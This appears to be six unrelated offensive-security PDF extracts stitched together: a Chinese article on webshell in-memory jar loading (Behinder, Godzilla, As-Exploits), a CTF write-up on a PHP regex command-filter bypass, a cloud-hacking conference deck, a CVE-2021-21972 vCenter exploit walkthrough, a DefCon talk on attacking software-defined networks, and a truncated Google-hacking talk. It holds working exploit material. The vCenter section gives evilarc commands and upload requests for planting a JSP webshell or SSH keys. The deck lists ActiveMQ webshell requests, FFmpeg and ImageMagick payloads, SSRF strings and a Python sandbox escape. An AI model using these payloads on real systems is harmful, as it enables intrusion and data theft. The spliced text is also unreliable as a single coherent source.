1 JarLoader模块的细节问题 前⾔ 正⽂ 冰蝎 哥斯拉 ⼩实验 @yzddmr6 As-Exploits v 1.2 更新了⼀个JarLoader模块,可以在内存中直接加载⼀个jar,⽽⽂件不落地。今天来 讲⼀讲开发的细节。 打⼀个jar进去通常有两个⽤处: ⼀是可以⽤来上传数据库驱动。 ⼆是把恶意类打⼊JVM中,后续只需要通过反射调⽤即可。哥斯拉的实现⽅式就是第⼀次就把所有的 payload打⼊jvm中,后续通过反射调⽤。所以后续通信的流量包都⾮常的⼩,只需要传递参数即可。 冰蝎跟哥斯拉都有类似的功能,研究了⼀下他们的实现。 冰蝎的加载jar功能内嵌于数据库连接部分,仅⽤于上传数据库驱动。⾸先把要打⼊的jdbc上传到⽬标的临 时⽬录,然后再⽤URLClassLoader去加载,这⾥贴⼀下代码。 net.rebeyond.behinder.ui.controller.DatabaseViewController#loadDriver 前⾔ 正⽂ 冰蝎 1 private void loadDriver(String scriptType, String databaseType) throws Exception { 2 String driverPath = "net/rebeyond/behinder/resource/drive r/"; 3 Platform.runLater(() -> { 4 this.statusLabel.setText("正在上传数据库驱动……"); 5 }); 6 String os = this.currentShellService.shellEntity.getString( "os").toLowerCase(); 2 7 //根据系统型号选择临时⽬录 8 String remoteDir = os.indexOf("windows") >= 0 ? "c:/window s/temp/" : "/tmp/"; 9 String libName = null; 10 if (scriptType.equals("jsp")) { //根据类型选择数据库jdbc 11 if (databaseType.equals("sqlserver")) { 12 libName = "sqljdbc41.jar"; 13 } else if (databaseType.equals("mysql")) { 14 libName = "mysql-connector-java-5.1.36.jar"; 15 } else if (databaseType.equals("oracle")) { 16 libName = "ojdbc5.jar"; 17 } 18 } else if (scriptType.equals("aspx")) { 19 if (databaseType.equals("mysql")) { 20 libName = "mysql.data.dll"; 21 } else if (databaseType.equals("oracle")) { 22 libName = "Oracle.ManagedDataAccess.dll"; 23 } 24 } 25 26 byte[] driverFileContent = Utils.getResourceData(driverPath + libName); 27 String remotePath = remoteDir + libName; 28 //将jar先上传到临时⽬录 29 this.currentShellService.uploadFile(remotePath, driverFileC ontent, true); 30 Platform.runLater(() -> { 31 this.statusLabel.setText("驱动上传成功,正在加载驱动……"); 32 }); 33 //将libPath传递给服务端加载 34 JSONObject loadRes = this.currentShellService.loadJar(remot ePath); 35 if (loadRes.getString("status").equals("fail")) { 36 throw new Exception("驱动加载失败:" + loadRes.getString("m sg")); 37 } else { 38 Platform.runLater(() -> { 39 if (scriptType.equals("jsp")) { 40 this.statusLabel.setText("驱动加载成功,请再次点击“连 接”。"); 3 webshell获取到libPath然后⽤URLClassLoader去加载。 net.rebeyond.behinder.payload.java.Loader 哥斯拉的操作就⽐较秀了。因为打⼊⼀个jar不像打⼊⼀个class⼀样,直接有defineClass⽅法去接收⼀个 字节数组。打⼊jar需要使⽤URLClassLoader这个类,⼤概有两种⽅式,⼀种是利⽤http协议,远程获取 所要加载的jar。另⼀种是file协议,从本地路径去读取jar。据我的研究,没有直接接收⼀个jar的字节数组 的⽅法。 每次都额外搭⼀个http当然不⽅便,并且⽬标还不⼀定出⽹。但是file协议的话还需要把jar写到磁盘中,⽂ 件就会落地,增加了被发现的⻛险。 但是我们回过头想,既然通过file协议加载jar,肯定会有⼀个通过路径找到⽂件,然后把⽂件读取到内存 的过程,如果我们能跳过这个根据路径找⽂件的过程,直接把⽂件的内容写到字节数组⾥不就可以⽂件不 落地了吗? 哥斯拉就是采⽤的这种做法,利⽤两个⼦类分别继承了URLStreamHandler跟URLConnection,然后利⽤ 反射模拟了读取⽂件的过程。 创建了⼀种新的协议jarmembuff 41 } 42 43 this.statusLabel.setText("驱动加载成功。"); 44 }); 45 } 46 } 哥斯拉 4 然后把收到的jar⽂件的字节数组给放到变量⾥。 这样就实现了⽂件不落地,将jar打⼊内存的⽬的。 本⼈在As-Exploits⾥也采⽤了这种做法。 这⾥做⼀个⼩实验 写⼀个弹框测试类 ⼩实验 1 import java.io.IOException; 2 3 public class calc { 4 public calc() { 5 try { 6 Runtime.getRuntime().exec("calc"); 7 } catch (IOException var2) { 8 var2.printStackTrace(); 9 } 10 11 } 12 } 5 jar -cvf打包成jar 开个web项⽬,写⼀个test.jsp如下。去查找calc这个类并且实例化。如果实例化成功则会弹出我们的计算 器。 在第⼀次访问的时候找不到这个类肯定会报错 然后打开插件,选择要打⼊的jar⽂件。这⾥可以点按钮选择,也可以直接在输⼊框输⼊绝对路径。 1 <% 2 3 Class.forName("calc").newInstance(); 4 5 %> 6 exploit! 再去刷新⻚⾯,弹出计算器。 7
pdf
从一道CTF的非预期解看PHP反斜杠匹配问题 前言 刷buuoj的时候遇到这样一个题,做一半看到他这个正则写的有点问题,就去翻wp。 找到了官方的wp发现果然是个非预期。 但是官方wp中并没有深入说明。后来看到评论去翻出题人的博客也没找到相关的信息,加上看到了其 他wp中一些不准确的说法,所以今天就有了这篇文章来讲一讲自己的看法。 正文 题目源码 前面md5碰撞已经是老套路了,问题出在后面对shell命令的过滤上。 熟悉php代码审计的同学应该都知道,在preg_match中要过滤 \ 是需要四个 \\\\ 才可以达到目的,原 理如下: <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd']))   header('Refresh:0;url=./index.php? img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) {   echo '<img src ="./ctf3.jpeg">';   die("xixi~ no flag"); } else {   $txt = base64_encode(file_get_contents($file));   echo "<img src='data:image/gif;base64," . $txt . "'></img>";   echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bz more|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\? |\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-| <|>/i", $cmd)) {   echo("forbid ~");   echo "<br>"; } else {   if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {       echo `$cmd`;   } else {       echo ("md5 is funny ~");   } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmo re|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\? |\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {   echo("forbid ~");   echo "<br>"; } 1 2 3 4 但是出题人似乎觉得不够,又在后面加了四个反斜杠的匹配,似乎本意是要过滤 \ 跟 \\ ? 理论来说已经出现了四个 \\\\ 了,但是为什么还会造成非预期 ca\t 这种解呢? 我们本地测试一下 去掉其他的乱七八糟的东西,只留下对于反斜杠等的过滤 可以看到虽然正则中有 \\\\ ,但是却无法过滤到反斜杠。 反向思考其原因,应该是问题出在前面两个反斜杠的匹配部分。 因为正则匹配中相当于要经过两层解析器解析,一层是php的,一层是正则表达式的。所以此处前面的 两个反斜杠经过php解析器处理后应该是表示了一个转义号 \ ,之后又与后面的表示逻辑或的 | 结合到 一起,从而在正则表达式解析器中解析为 \| 。又因为 | 是正则中的保留符号,所以需要一个转义符来 转义。所以最后的实现效果应为对于字符 | 的过滤。 $str = '\/div'; $pattern = '/\\\\\/div/'; // '\\\\\/' 解析过程如下: // PHP解析: // 第1个'\'转义第2个'\',转义后为字符串'\' // 第3个'\'转义第4个'\',转义后为字符串'\' // 第5个'\'转义'/',转义后为字符串'/' // 字符合起来为'\\/' (则 \\/div 即为正则将要解析的内容,注意:正则解析的内容已经不包括 正则标识符//) // 正则解析器解析: // 两个'\\' 正则表达式看做'\' (则正则最终解析为 \/div) $rs = preg_match($pattern, $str, $arr); if($rs) print_r($arr); // Array ( [0] => \/div ) 1 2 3 4 5 6 7 8 9 10 11 12 所以我们猜测这种写法真正被解析的结果应该是对于字符串 |\ 的过滤,即不是单独的 \ 的匹配。 我们来验证一下猜想是否正确: 可以看到此时已经触发了正则匹配机制,输出了forbid。 所以综上所述:非预期的原因是错误的正则写法匹配了 |\ ,而非预期的 \ 错误的一些说法 第一个 https://www.cnblogs.com/20175211lyz/p/12189515.html 这篇文章中提到反斜杠有这么多种匹配方法,如果你做实验的话发现也确实会输出1234。事实真的是这 样吗? 随便写个字符串,发现134照样可以匹配到。 原因是134条规则都在左右多加了个 | ,然而 | 左右为空,也就是说对于任意空字符串都可以匹配,而 并非预期的目的。 第二个 这篇文章的解释是把\t当成tab,这个就更离谱了。 https://blog.csdn.net/SopRomeo/article/details/104124545 第三个 https://www.jianshu.com/p/21e3e1f74c08 这个同学自己调试了一番,离真相就差一点啦。 最后 纸上得来终觉浅,绝知此事要躬行。 与君共勉。
pdf
Hacking Cloud Product [ Demon@n0tr00t ] 探索⼀一切、攻破⼀一切 [ Hacker@KCon ] 3 About me • Working  on  阿里云-云平台安全 • Team  of  n0tr00t  (http://www.n0tr00t.com/) • ID:  Demon  (微博:Demon写Demo)   • 跨界:摇滚乐、Coding、安全 Part. 01 分类和架构 4 5 云的基础架构 • 种类繁多 基础服务大同小异,每家云厂商还有自己的特色云服务   • 资源开放 按需付费、资源开放,对于安全的说法就是可控点变多,结界难以把控,安全的天秤随时会倾斜。 • 木桶原理 木桶原理被放大,致弱点容易成为致命点。 6 云产品的通⽤用架构 物理集群 Server Portal 运维管控 实例 虚拟机 用户管理 监控系统 计费系统 资源管理 运维管理 容灾系统 网关系统 逻辑服务 控制器 调度系统 生产系统 存储系统 底层云组件 API 7 云产品的安全基⽯石 - 沙箱(SandBox) • 沙箱的结构决定了产品持久稳固性 • avoid  be  root,  use  linux  capability • 脚本层、容器层、用户权限层            -脚本层:JSM、PHP  disabled  function            -容器层:Docker、Linux  namespace、cgroup            -用户权限隔离:最小权限原则 用户权限 容器层 脚本层 Part. 02 隐匿在结界内的隐患 8 9 结界的划分 结界外 • 控制台(portal),  用户可管理产品   • API服务,通过API访问操作实例方便自动化 管理实例   • 实例本身,如连接虚拟服务 器,redis,mongodb等 暗物质 • 未知模块,如一些额外的存储系统 • 游离在架构之外的服务,结界不明,难以发 现 结界内 • 业务逻辑服务,负责业务逻辑处理 • 调度服务,负责调配资源,控制链路   • 生产系统,负责生产实例,或释放实例等 • 管控系统,用于管理或监控实例 • 其他:因架构而定,如还存在一些日志组件, 下发任务模块等等 10 过度松耦合导致的隐患 • 十人传话游戏   •  多层模块分离,安全职责不明 11 攻击中间件服务 ·∙  开源消息中间件:Kafka、ActiveMQ、RabbitMQ、OpenJMS等      ·∙  分布式服务框架:Dubbo、zookeeper、TAF   攻击方式     ·∙  Load  eval  Mbean  via  “getMBeansFromURL”    (http://www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html)       ·∙  Java  反序列化漏洞(http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/)       ·∙  XML实体注入、命令注入、未授权调用服务 12 Use  Java  Message  Exploitation  Tool  (JMET)   • Apache  ActiveMQ   • Redhat/Apache  HornetQ   • Oracle  OpenMQ   • IBM  WebSphereMQ   • Pivotal  RabbitMQ   • IIT  Software  SwiftMQ   • Apache  ActiveMQ  Artemis   • Apache  QPID  JMS   • Apache  QPID  Client   项目地址:https://github.com/matthiaskaiser/jmet   使用方法:        >  java  -jar  jmet-0.1.0-all.jar  -Q  event  -I  ActiveMQ  -Y  xterm  127.0.0.1  61616 13 ActiveMQ  CVE-2016-3088 MOVE  /fileserver/shell.txt  HTTP/1.1   Destination:  file:///usr/local/apache-activemq-5.7.0/webapps/shell.jsp   Host:  x.x.x.x   PUT  /fileserver/shell.txt  HTTP/1.1   Host:  x.x.x.x   Content-Length:  16   14 运维管控系统   • 管理控制实例   • 部署发布系统   • 状态监控系统   • 统一配置管理系统   安全隐患:   • ACL绕过、API未授权调用   • 通过XSS漏洞打入到管控系统执行任务   • 开源的管控系统的漏洞(hue、splunk  、cacti、jekins、zabbix、zenoss、elasticsearch  ) 15 Use  hiveSQL  to  read  file 16 内部服务未授权问题   • Redis未授权访问   • Mongodb未授权访问   • Rsync未授权访问   • Memcache未授权访问 Part. 03 以点破⾯面-Hacking 17 18 云服务 19 云服务 开源服务 ⾃自研服务 20 开源服务 21 开源服务 22 开源服务的脆弱点 23 •开源产品的已知安全问题 •配置、权限设置不严格导致沙箱绕过 •⺴⽹网络边界和部署存在安全问题 24 案例 25 FFmpeg:   //exp.m3u8   #EXTM3U   #EXT-X-MEDIA-SEQUENCE:0   #EXTINF:10.0,   concat:http://xxx/test.m3u8|file:///etc/passwd     #EXT-X-ENDLIST ImageMagick:   push  graphic-context   viewbox  0  0  640  480   fill  'url(https://example.com/image.jpg";|ls  "-la)'   pop  graphic-context 26 27 Redis  eval指令执行dofile枚举系统目录   $>EVAL  "return  dofile('/etc/passwd')"  0 28 • Mongodb  SSRF   >db.copyDatabase("\nstats\nquit",'test','localhost:11211') • Postgres  SSRF   >SELECT  dblink_send_query('host=127.0.0.1  dbname=quit  user=\'\nstats\n\'  password=1  port=11211   sslmode=disable','select  version();'); • CouchDB  SSRF   POST  http://couchdb:5984/_replicate   ContentType:  application/json   Accept:  application/json   {   "source"  :  "recipes",   "target"  :  "http://secretdb:11211/recipes",   } 来源《SSRFbible  Cheatsheet》 29 •开源产品的已知安全问题 •配置、权限设置不严格导致沙箱绕过 •⺴⽹网络边界和部署存在安全问题 -­‐  FFmpeg  SSRF  &  任意文件读取   -  ImageMagick  RCE   -  Linux  local  privileges  escape   -  CVE  …. -  python沙箱绕过   -  php  bypass  disable_functions   -  redis  执行lua脚本枚举服务器文件   -  mysql、mssql  危险函数或存储扩展未禁用 -(MSSQL、Mongodb、Postgres、CouchDB)  SSRF   -  云服务控制系统(接口)暴露在公网   30 ⾃自研服务 31 “宇宙就是⼀一座⿊黑暗森林,每个⽂文明都是带枪的猎⼈人,像幽灵般潜⾏行 于林间,任何暴露⾃自⼰己坐标的⽣生命都将很快被消灭。”  ——《三体II  ⿊黑暗森林》 32 宇宙  =  ⺴⽹网络 ⽂文明  =  系统(服务) 33 云服务 server1 server2 server3 serverN 隐匿在云环境下的脆弱⺫⽬目标 34 云服务 server1 server2 server3 serverN 隐匿在云环境下的脆弱⺫⽬目标 35 server3 隐匿在云环境下的脆弱⺫⽬目标 36 server3 隐匿在云环境下的脆弱⺫⽬目标 server1 server2 server4 server5 serverN 37 攻击⽅方式 • 从进程、⺴⽹网络流量、端⼝口中找寻agent的相关信息 • 定位agent的坐标 • 对agent实施安全测试 • 对agent坐标同⺴⽹网络段下的系统进⾏行测试 38 案例 39 某云⼚厂商RPC组件任意代码执⾏行 40 某云⼚厂商RPC组件任意代码执⾏行 41 产品本⾝身 42 利⽤用产品本⾝身功能收集内⺴⽹网IP坐标信息: • 负载均衡的健康检查机器 • 云安全扫描 • 云监控的请求⽇日志 • 浏览器测试类产品的请求⽇日志 43 借⽤用实例⺴⽹网络环境访问内部组件: • 回源功能(CDN、云WAF) • 域名解析+组合服务(产品服务  -­‐>域名  -­‐>内⺴⽹网IP) • ⺴⽹网络代理、回调(API⺴⽹网关、云通信、移动端⺴⽹网络接⼊入服务) • 消息推送(移动消息推送、视频直播流推送) 44 ⽂文件处理属性相关产品 ⽂文件读取、解压软链接⽂文件 命令执⾏行、沙箱绕过 SSRF python沙箱绕过   >>> [].__class__.__base__.__subclasses__()[58].__init__.func_globals['linecache'].__dict__.values()[14] <module 'os' from '/usr/lib64/python2.7/os.pyc'> 45 云服务 ⺫⽬目标禁⽌止外连怎么办? 攻击者 服务器A 命令执⾏行、⽂文件读取 服务器A禁⽌止外连 其他云产品实例 私 ⺴⽹网 其他云产品实例:RDS、redis、app  engine等,通过私⺴⽹网环境向实例透出数据 攻击者连接实例读取数据 46 在内部能做什么 47 流量监控 寻找特权AK 批量⽣生产实例 控制集群 48 总结:How  to  hack 49 总结:How  to  hack: • 阅读公开⽂文档、架构⽂文档、操作⼿手册,了解产品功能和架构模块 • 研究实例的⺴⽹网络环境与组件间调⽤用关系 • 寻找组件中可能使⽤用到的开源组件列表 • 结合功能和⽀支持的协议分析⻛风险点 • ⼤大量测试,Find  vulnerable THANKS [ Demon@KCon ]
pdf
0x00 漏洞描述 CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。 该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。 0x01 影响版本 VMware vCenter Server 7.0系列 < 7.0.U1c VMware vCenter Server 6.7系列 < 6.7.U3l VMware vCenter Server 6.5系列 < 6.5 U3n VMware ESXi 7.0系列 < ESXi70U1c-17325551 VMware ESXi 6.7系列 < ESXi670-202102401-SG VMware ESXi 6.5系列 < ESXi650-202102101-SG 测试通过版本: VMware-VCSA-all-6.7.0-8217866 VMware-VIM-all-6.7.0-8217866 2021-02-24 0x02 漏洞利用 1.漏洞判断 直接访问https://ip/ui/vropspluginui/rest/services/updateova 或者https://ip/ui/vropspluginui/rest/services/getstatus 如果404,则代表不存在漏洞,如果200,则代表存在漏洞 2.基本漏洞利用 https://github.com/ptoomey3/evilarc/blob/master/evilarc.py evilarc.py可创建一个zip文件,其中包含在其嵌入式路径中带有目录遍历字符的文件。 环境搭建参考: https://blog.51cto.com/12218973/2496675(VMware vCenter 6.7) 如果应用程序或库没有阻止目录遍历字符,则可以使用evilarc生成zip文件,将其解压缩后将文件放置在目标系统上的任意位置。 python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt 该winxpl1.tar包括一个名为的文件..\..\testFolder\testUpload.txt。 通过如下POC上传文件(这里通过burpsuti抓包将上传的文件winexpl.tar重命名为.ova) POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: vSphereClient.local Connection: close Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD Content-Length: 10425 ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="a.ova" Content-Type: text/plain {craftedArchive} ------WebKitFormBoundaryH8GoragzRFVTw1VD-- 可直接上传到C:\testFolder\testUpload.txt下 3.Windows上获取RCE 1.需要找打创建文件的可写路径 2.找到的文件路径映射到可访问的Web根目录的文件夹结构中,该目录能够运行.jsp脚本,并且不需要授权 通过上面上传的testUpload.txt文件属性,可知道用于该文件执行的用户是vsphere-ui 并且在windows目录下载,默认安装 C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\该目录含有JSP执行文件权限 (无需登录执行访问) 根据以上信息,可以指定一个tar文件 python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: vSphereClient.local Connection: close Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD Content-Length: 10425 ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="winexpl.tar" Content-Type: text/plain {craftedArchive} ------WebKitFormBoundaryH8GoragzRFVTw1VD-- 4.Linux上获得RCE 使用vsphere-ui用户的权限上传任意文件。如果我们将公钥上传到该用户的主目录,并尝试使用私钥通过SSH连接到服务器. 生成公钥对 ssh-keygen -t rsa 使用生成的公共密钥创建.tar cp ~/.ssh/id_ras.pub ./authorized_keys python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: vSphereClient.local Connection: close Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD Content-Length: 10425 ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="linexpl.tar" Content-Type: text/plain {craftedArchive} ------WebKitFormBoundaryH8GoragzRFVTw1VD-- ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local 0x03 漏洞修复 按照官方提示,关闭插件https://kb.vmware.com/s/article/82374
pdf
DefCon 22, Las Vegas 2014 Abusing Software Defined Networks Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois gregory.pickett@hellfiresecurity.com Hellfire Security Overview What is it? Exploiting it! Fixing it! Moving Forward Wrapping Up Modern Day Networks Vendor Dependent Difficult to scale Complex and Prone to Break Distributed and Often Inconsistent Configuration Uses inflexible and difficult to innovate protocols Unable to Consider Other Factors … And Good Luck If You Want To Change It! Enter … Software Defined Networking Separate the Control and Data Plane Forwarding Decisions Made By a Controller Switches and Routers Just Forward Packets Controllers Programmed with the Intelligence Full visibility of the Network Can consider the totality of the network before making any decision Enforce Granular Policy Enter … Software Defined Networking Switches Bare-Metal Only Any Vendor … Hardware or Software Solves Lots of Problems Less Expensive Hardware With BGP Maintenance Dry-Out Customer Egress Selection Better BGP Security Faster Convergence Granular Peering at IXPs Expands Our Capability Real-World Network Slicing of Flow Space Network and Server Load Balancing Security Dynamic Access Control Adaptive Traffic Monitoring Attack Detection and Mitigation Emerging Standards Old and Busted SNMP BGP Netconf LISP PCEP New Hotness OVSDB Openflow Introducing Openflow Establishes Elements Controller Secure Channel Forwarding Element Defines … Forwarding Process Messaging Format Introducing Openflow Forwarding Process Check Flow Table If Match Found, Execute Action If No Match, Send Packet to controller Update Flow Table Flow Tables Match/Action Entries 12 fields available for matching Wildcard matching available Introducing Openflow Leading Platforms Proprietary Cisco Application Policy Infrastructure Controller (APIC) Cisco Extensible Network Controller (XNC) HP Virtual Application Networks (VAN) SDN Controller IBM Programmable Network Controller Open-Source Nox/Pox Ryu Floodlight Opendaylight Floodlight Open-Source Java Controller Primarily an Openflow-based controller Supports Openflow v1.0.0 Fork from the Beacon Java Openflow controller Maintained by Big Switch Networks Opendaylight Open-Source Java Controller Many southbound options including Openflow Supports Openflow v1.0.0 and v1.3.0 Fork from the Beacon Java Openflow controller A Linux Foundation Collaborative Project Supported by Citrix, Red Hat, Ericsson, Hewlett Packard, Brocade, Cisco, Juniper, Microsoft, and IBM So It’s Gonna Be All … Not Exactly! Protocol Weaknesses Encryption and Authentication via TLS More of a suggestion than a requirement though … Started Out Good Heading Backwards v1.0.0 over TLS v1.4.0 over TCP or TLS Protocol Weaknesses Controllers Floodlight … Nope Opendaylight … Supported but not required Switches Arista … No Brocade … Surprisingly, Yes Cisco … Another, Yes Dell … No Extreme … Another, Yes HP … No Protocol Weaknesses Switches Huawei … No IBM … No Juniper … No NEC … Another, Yes Netgear … No Pronto … Yes OVS … No Could Lead To … Information Disclosure through Interception Modification through Man-in-the-Middle And all sorts of DoS Nastiness! DoS Nastiness Openflow Centralization Entails Dependency Dependency Can Be Exploited How are vendors handing it? Floodlight Explored by Solomon, Francis, and Eitan Their Results … Handling It Poorly Opendaylight Unknown but worth investigating It is Java for God Sake! Tools of-switch.py Impersonates an Openflow switch Utilizes Openflow v1.0.0 of-flood.py Floods an Openflow controller Disrupting the network and bringing it down Utilizes Openflow v1.0.0 Debug Ports No Encryption No Authentication Just Full Control of the Switch All Via “dpctl” command-line tool Not a problem yet … But Soon Will Be! Controller Weaknesses Floodlight No Encryption for Northbound HTTP API No Authentication for Northbound HTTP API Opendaylight Encryption for Northbound HTTP API Turned Off by Default Authentication for Northbound HTTP API HTTP Basic Authentication Default Password Weak Strong Passwords Turned Off by Default Could Lead To … Information Disclosure through Interception Topology Credentials Information Disclosure through Unauthorized Access Topology Targets And … Topology, Flow, and Message Modification through Unauthorized Access Add Access Remove Access Hide Traffic Change Traffic Identifying Controllers and Switches Currently Listening on TCP Port 6633 New Port Defined … TCP Port 6653 Hello’s Exchanged Feature Request Controller will send Switch will not Tools of-check.py Identifies Openflow Services Reports on their Versions Compatible with any version of Openflow of-enum.py Enumerates Openflow Endpoints Reports on their Type Compatible with any version of Openflow Tools of-enum.nse Enumerates Openflow Endpoints Reports on their Type Compatible with any version of Openflow Demonstration Some Attacks Small Local Area Network One Admin Host Two User Hosts One Server One IDS Attacker will … Identify Targets Enumerate ACLs Find Sensors Tool of-map.py Downloads flows from an Openflow controller Uses the flows To identify targets and target services To build ACLs To identify sensors Works with Floodlight and Opendaylight via JSON Demonstration And Some More Attacks … Small Local Area Network One Admin Host Two User Hosts One Server One IDS Attacker will … Gain Access to the Server Isolate the Administrator Hide from the IDS And Attack the Server Tool of-access.py Modifies flows on the network through the Openflow Controller Adds or Removes access for hosts Applies transformations to their network activity Hides activity from sensors Works with Floodlight and Opendaylight via JSON Demonstration And Now Some Pwnage … Sorry Linux Foundation! Zero-Day Exploit Opendaylight has other southbound APIs besides Openflow No Encryption for Southbound Netconf API No Authentication for Southbound Netconf API Just Connect and Exchange Messages XML-RPC Remember Java? Boom Goes Opendaylight And it runs as “Root” Demonstration If No Exploit … Service Not Available or They Fix It Not to Worry Password Guess the !!!!!! Default Password Weak Strong Passwords Turned Off No Account Lockout No SYSLOG Output Repeat! Attacker will … Identify Targets Enumerate ACLs Find Sensors Gain Access to the Server Isolate the Administrator Hide from the IDS And Attack the Server And Pwn That Network Too! Other Exploits Waiting to Be Found! Floodlight Northbound HTTP API Southbound Openflow API Opendaylight Northbound HTTP API Southbound Openflow API Southbound Netconf API (TCP,SSH) Southbound Netconf Debug Port Other Exploits Waiting to Be Found! Opendaylight JMX Access OSGi Console Lisp Flow Mapping ODL Internal Clustering RPC ODL Clustering Java Debug Access Available Solutions For Now For the Future For Now Transport Layer Security Feasible? Realistic? Hardening … Duh! VLAN … It’s the Network Stupid! Code Review Anyone? For the Future Denial of Service (SDN Architecture) Network Partitioning Controller Clustering Static Flow Entries Modification (SDN Applications) Traffic Counters Respond to Abnormalities Verification (SDN Operations) How Prevalent Is It Going To Be? Gartner: 10 critical IT trends for the next five years Major Networking Vendors Have Products or Products Planned for SDN InformationWeek 2013 Survey 60% felt that SDN would be part of their network within 5 Years 43% already have plans to put it in production Reported While Data Centers/Clouds are the Killer App for SDN NIPPON EXPRESS FIDELITY INVESTMENTS VMWARE Starting to see it moving toward the LAN Caltech Cern And WAN Google, NTT, and AT&T How It Could Go Right Vendor Independence and ultimately lower cost Networks that match the application and the businesses needs not the other way around Faster Evolution of the Network Production-Scale Simulation and Experimentation Exchangeable Network Aspects Dynamic and Truly Active Defenses How It Could Go Wrong Denial of Service Peer Node External Node Selectively Dropping Traffic? MiTM Entire Networks Local Subnets or Hosts Shadow Operations Darknets Uber Admins Making the Difference Traditional Means of Securing Controllers Still Apply Security Needs to Be Part of the Discussion Until Now … How SDN Can Help Security But How Secure is SDN? Analyses being Done But By Outsiders Traditional Approach and 2-D Controller’s Need A Security Reference and Audit Capability SDN has the potential to turn the entire Internet into a cloud Benefit would be orders of magnitude above what we see now But there is hole in the middle of it that could easily be filled by the likes of the NSA … or worse yet, China Let’s Not Let That Happen And That Start’s Here Final Thoughts Toolkit SHA1 hash is 8bec7ba4f59344ea63d3760fe473537ea1e36718 Updates can be found at http://sdn-toolkit.sourceforge.net/ Links http://www.sdncentral.com/ https://www.opennetworking.org/ http://www.projectfloodlight.org/ http://www.opendaylight.org/ https://www.coursera.org/course/sdn https://www.baycollege.edu/Academics/Areas-of-Study/Computer- Network-Systems/Faculty/Linderoth/2013-sdn-survey-growing-pains.aspx http://www8.hp.com/h20195/v2/GetDocument.aspx?docname=4AA4- 7944ENW http://www.openflowhub.org/blog/blog/2012/12/03/sdn-use-case- multipath-tcp-at-caltech-and-cern/ http://www.networkworld.com/article/2167166/cloud- computing/vmware--we-re-building-one-of-the-biggest-sdn-deployments- in-the-industry.html http://www.networkcomputing.com/networking/inside-googles-software- defined-network/a/d-id/1234201? http://cseweb.ucsd.edu/~vahdat/papers/b4-sigcomm13.pdf http://viodi.com/2014/03/15/ntt-com-leads-all-network-providers-in- deployment-of-sdnopenflow-nfv-coming-soon/
pdf
You found that on Google? Gaining awareness about “Google Hackers” Johnny Long johnny@ihackstuff.com HUGE DISCLAIMER! •The print/CD version of this presentation is much smaller than the live version! • The live version shows many more techniques and examples. After all, I can’t leave a paper trail… =^P • DEFCON ATTENDEES: This print version is the same as the Blackhat talk, but the live version is very different! I’m too lazy to make 2 print versions ;-) What this is about • We’ll be talking about how hackers can use Google to locate vulnerable targets and sensitive information • This process has been termed “Google hacking” • We will be blowing through the basics – After all, this is DEFCON! =) Advanced Operators • Google advanced operators help refine searches • Advanced operators use a syntax such as the following: – operator:search_term • Notice that there's no space between the operator, the colon, and the search term Advanced Operators • site: restrict a search to a specific web site or domain – The web site to search must be supplied after the colon. • filetype: search only within the text of a particular type of file • link: search within hyperlinks • cache: displays the version of a web page as it appeared when Google crawled the site • intitle: search for a term in the title of a document • inurl: search only within the URL (web address) of a document Search Characters • Some characters: • ( + ) force inclusion of a search term • ( - ) exclude a search term • ( “ ) use quotes around search phrases • ( . ) a single-character wildcard • ( * ) any word Site Crawling • To find every web page Google has crawled for a specific site, use the site: operator site: microsoft.com Server Crawling • To locate additional servers, subtract common hostnames from the query site: microsoft.com -site:www.microsoft.com Directory Listings • Directory listings can be a source of great information intitle:index.of/admin Directory Listings • Directory listings can provide server version information intitle:index.of apache server.at Default Server Pages • Web servers with default pages can serve as juicy targets intitle:test.page.for.apache “it worked” Default Server Pages • Web servers with default pages can serve as juicy targets allintitle:Netscape FastTrack Server Home Page Default Server Pages • Web servers with default pages can serve as juicy targets intitle:"Welcome to Windows 2000 Internet Services" Default Server Pages • Web servers with default pages can serve as juicy targets 